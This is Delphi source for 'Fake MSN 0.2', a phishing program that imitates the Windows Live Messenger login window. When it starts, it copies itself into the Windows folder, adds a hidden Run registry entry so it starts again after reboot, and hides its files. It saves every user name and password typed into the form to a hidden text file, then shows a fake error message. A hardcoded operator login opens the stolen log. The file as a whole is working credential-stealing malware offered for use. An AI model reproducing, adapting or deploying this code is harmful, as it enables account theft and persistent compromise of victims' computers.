{Fake MSN 0.2Coded By Doddy H}unit fake;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;type TForm1 = class(TForm) Image1: TImage; Edit1: TEdit; Edit2: TEdit; Image2: TImage; procedure Edit1Click(Sender: TObject); procedure Edit2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure Image2Click(Sender: TObject); private { Private declarations } public { Public declarations } end;var Form1: TForm1;implementation{$R *.dfm}procedure TForm1.Edit1Click(Sender: TObject);begin Edit1.Text := '';end;procedure TForm1.Edit2Click(Sender: TObject);begin Edit2.Text := ''; Edit2.PasswordChar := '*';end;procedure TForm1.FormCreate(Sender: TObject);var nombrereal: string; rutareal: string; yalisto: string; her: TRegistry;begin nombrereal := ExtractFileName(ParamStr(0)); rutareal := ParamStr(0); yalisto := 'C:\WINDOWS\' + nombrereal; MoveFile(Pchar(rutareal), Pchar(yalisto)); her := TRegistry.Create; her.RootKey := HKEY_LOCAL_MACHINE; her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE); her.WriteString('uber', yalisto); her.Free; SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN); SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);end;procedure TForm1.Image2Click(Sender: TObject);var archivo: TextFile; ruta: string;begin if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then begin WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW); end else begin if Edit1.Text = '' then begin ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu [email protected]'); end; if Edit2.Text = '' then begin ShowMessage('Escribe tu contraseña'); end else begin if Edit2.Text = 'Escribe aqui tu contraseña' then begin ShowMessage('Escribe tu contraseña'); end else begin ruta := 'c:/windows/datos.txt'; //mod if FileExists(ruta) then begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; Append(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK); Form1.Close; end else begin AssignFile(archivo, ruta); FileMode := fmOpenWrite; ReWrite(archivo); Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text); CloseFile(archivo); Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK); Form1.Close; end; end; end; end;end;end.// The End ?